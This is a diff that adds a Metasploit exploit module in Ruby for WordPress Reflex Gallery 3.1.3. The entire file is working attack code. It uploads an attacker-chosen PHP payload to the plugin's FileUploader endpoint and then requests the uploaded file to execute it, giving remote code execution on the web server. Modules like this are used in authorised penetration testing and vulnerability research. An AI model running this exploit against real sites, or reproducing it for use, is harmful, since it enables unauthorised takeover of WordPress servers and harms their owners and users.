|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Wordpress Reflex Gallery Upload Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery |
| 19 | + version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Unknown', # Vulnerability discovery |
| 24 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['EDB', '36374'], |
| 30 | + ['OSVDB', '88853'], |
| 31 | + ['WPVDB', '7867'] |
| 32 | + ], |
| 33 | + 'Privileged' => false, |
| 34 | + 'Platform' => 'php', |
| 35 | + 'Arch' => ARCH_PHP, |
| 36 | + 'Targets' => [['Reflex Gallery 3.1.3', {}]], |
| 37 | + 'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date. |
| 38 | + 'DefaultTarget' => 0) |
| 39 | + ) |
| 40 | + end |
| 41 | + |
| 42 | + def check |
| 43 | + check_plugin_version_from_readme('reflex-gallery', '3.1.4') |
| 44 | + end |
| 45 | + |
| 46 | + def exploit |
| 47 | + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' |
| 48 | + |
| 49 | + data = Rex::MIME::Message.new |
| 50 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"") |
| 51 | + post_data = data.to_s |
| 52 | + |
| 53 | + time = Time.new |
| 54 | + year = time.year.to_s |
| 55 | + month = "%02d" % time.month |
| 56 | + |
| 57 | + res = send_request_cgi({ |
| 58 | + 'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'), |
| 59 | + 'method' => 'POST', |
| 60 | + 'vars_get' => { |
| 61 | + 'Year' => "#{year}", |
| 62 | + 'Month' => "#{month}" |
| 63 | + }, |
| 64 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 65 | + 'data' => post_data |
| 66 | + }) |
| 67 | + |
| 68 | + if res |
| 69 | + if res.code == 200 && res.body =~ /success|#{php_pagename}/ |
| 70 | + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") |
| 71 | + register_files_for_cleanup(php_pagename) |
| 72 | + else |
| 73 | + fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 74 | + end |
| 75 | + else |
| 76 | + fail_with(Failure::Unknown, 'Server did not respond in an expected way') |
| 77 | + end |
| 78 | + |
| 79 | + print_status("#{peer} - Calling payload...") |
| 80 | + send_request_cgi( |
| 81 | + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename) |
| 82 | + ) |
| 83 | + end |
| 84 | +end |
0 commit comments